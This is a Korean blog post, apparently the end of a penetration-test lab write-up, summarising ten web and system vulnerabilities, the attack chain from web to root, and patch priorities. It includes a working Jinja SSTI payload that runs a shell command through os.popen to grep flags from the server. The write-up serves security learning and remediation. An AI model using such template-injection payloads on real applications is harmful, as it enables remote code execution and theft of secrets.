보너스: SSTI 한 번으로 다중 플래그 일괄 회수

분석을 다 마친 후 발견한 점인데, SSTI가 확보된 시점에 다음 한 줄만 던지면 시스템 전체에 흩어진 플래그를 한 번에 추출할 수 있었다.

📷 [그림 A-1] SSTI를 이용한 다중 플래그 일괄 획득 grep -r "HSPACE{" /app 페이로드로 시스템 전체 플래그 7개가 한 번에 노출된 응답 화면

 

[[config.__class__.__init__.__globals__['os'].popen('grep -r "HSPACE{" /app 2>/dev/null').read()]]

총 7개의 플래그가 한 번에 노출됐다. 이건 CTF 관점에서도 흥미롭지만, 실무 보안 관점에서 시사하는 바가 더 크다. RCE가 한 곳에서 발생하면, 그 시점부터 시스템 전체의 모든 비밀이 위험에 노출된다는 것. RCE 취약점의 위험도가 단일 데이터 노출보다 훨씬 높게 평가되는 이유이기도 하다.


두 개의 flag.txt 경로 차이 정리

이번 실습에서 /home/chatbot/flag.txt와 /root/flag.txt 두 개의 플래그 파일이 등장했는데, 경로가 다른 이유는 각 단계가 서로 다른 보안 이벤트를 나타내기 때문이다.

📷 [그림 A-2] /home/chatbot/flag.txt vs /root/flag.txt 경로 비교 두 플래그 파일의 위치와 접근 권한 차이를 보여주는 ls -l 비교 화면

  • /home/chatbot/flag.txt (VULN-08, 횡적 이동 플래그): 앱 서버 → chatbot 서버로 이동한 사실 자체를 증명. 비밀번호 크래킹 후 SSH 접속만으로 회수 가능.
  • /root/flag.txt (VULN-10, 권한 상승 플래그): chatbot 서버 안에서 일반 계정 → root로 권한이 상승되었음을 증명. root만 접근 가능한 /root/ 디렉토리에 위치.

이 분리는 평가 관점에서 의미가 있다. 횡적 이동(Lateral Movement)과 권한 상승(Privilege Escalation)은 MITRE ATT&CK에서도 별개의 전술로 분류되며, 실제 침해사고 분석에서도 둘을 구분해서 추적한다.


종합 분석

발견된 보안 약점 카테고리

본 평가에서 발견된 10건의 취약점을 카테고리별로 묶어보면 다음과 같은 구조적 문제들이 드러난다.

  1. 민감 정보 관리 부재: HTML 주석, JS 파일, robots.txt, SECRET_KEY 등 다양한 위치에 민감 정보가 노출 (VULN-01, 02, 03, 06)
  2. 입력값 검증 부재: SQL Injection, SSTI, Pickle 역직렬화 등 사용자 입력이 신뢰 경계를 넘어 위험한 컨텍스트로 전달 (VULN-05, 07, 08)
  3. 접근 제어 미흡: IDOR로 인한 객체 접근 권한 검증 부재 (VULN-04)
  4. 시스템 설정 오류: sudo NOPASSWD, Linux Capabilities 등 OS 레벨 권한 관리 실패 (VULN-09, 10)

공격 체인의 의미

이번 실습에서 가장 중요한 학습은 각 취약점이 단독으로는 큰 위험이 아닐 수 있어도, 조합되면 시스템 전체 장악으로 이어진다는 점이다.

JS 파일의 SHA-512 해시(VULN-02) 단독으로는 admin 패널 노출 정도지만, 그게 SSTI(VULN-05)의 진입 조건이 되고, SSTI는 RCE를 만들고, RCE는 Pickle 페이로드 분석(VULN-08)을 가능하게 하고, Pickle은 내부망 횡적 이동을 만들고, 거기서 다시 권한 상승(VULN-09, 10)으로 연결된다.

따라서 보고서를 작성할 때도 단순한 취약점 리스트가 아니라 공격 경로(Attack Chain)를 시각화해서 전달하는 것이 클라이언트의 패치 우선순위 결정에 훨씬 도움이 된다는 점을 배웠다.

결론

총 10건의 취약점 중 5건이 심각(Critical) 등급으로, 즉각적 조치가 필요한 수준이다. 특히 SSTI를 통한 RCE, SQL Injection, Pickle 역직렬화는 단독으로도 심각하지만, 다른 취약점과의 결합을 통해 외부 웹 → 내부망 → 권한 상승까지 이어지는 완전한 침해 시나리오를 형성하고 있다.

권고하는 패치 우선순위는 다음과 같다.

  1. 즉시 조치 (24시간 이내): SSTI(VULN-05), SQL Injection(VULN-07), Pickle 역직렬화(VULN-08) — RCE로 직결되는 결함
  2. 단기 조치 (1주일 이내): 하드코딩된 자격 증명(VULN-02), SECRET_KEY 노출(VULN-06), sudo/capabilities 오설정(VULN-09, 10)
  3. 계획된 조치 (1개월 이내): IDOR(VULN-04), 정보 노출 류(VULN-01, 03)

단일 취약점 패치만으로는 부족하다. 이번에 드러난 구조적 문제 — 민감 정보 관리 부재, 입력값 검증 부재, 접근 제어 미흡, 시스템 설정 오류 — 는 개발 프로세스, 배포 파이프라인, 운영 정책 전반의 재검토가 필요한 사안이다.


참고 자료

이번 실습을 진행하면서 활용한 주요 레퍼런스를 정리해둔다.

  • OWASP Testing Guide v4.2 — 평가 방법론 기준
  • KISA 기술적 취약점 분석·평가 방법 가이드 — 국내 기준 평가 항목
  • PayloadsAllTheThings (GitHub) — SSTI, SQLi, 권한 상승 페이로드 사전
  • GTFOBins (https://gtfobins.github.io/) — sudo NOPASSWD/SUID 권한 상승 레퍼런스
  • PortSwigger Web Security Academy — 웹 취약점 학습 플랫폼
  • MITRE ATT&CK — 횡적 이동, 권한 상승 등 공격 전술 분류

'웹해킹' 카테고리의 다른 글

OAuth와 OIDC  (0) 2026.05.10
SSTI 취약점이란 무엇인가  (0) 2026.03.19
웹해킹: file vulnerability  (0) 2026.02.25
php파일 분석  (0) 2026.02.23
웹해킹신 8주차:Business Logic Vulnerability  (0) 2026.02.19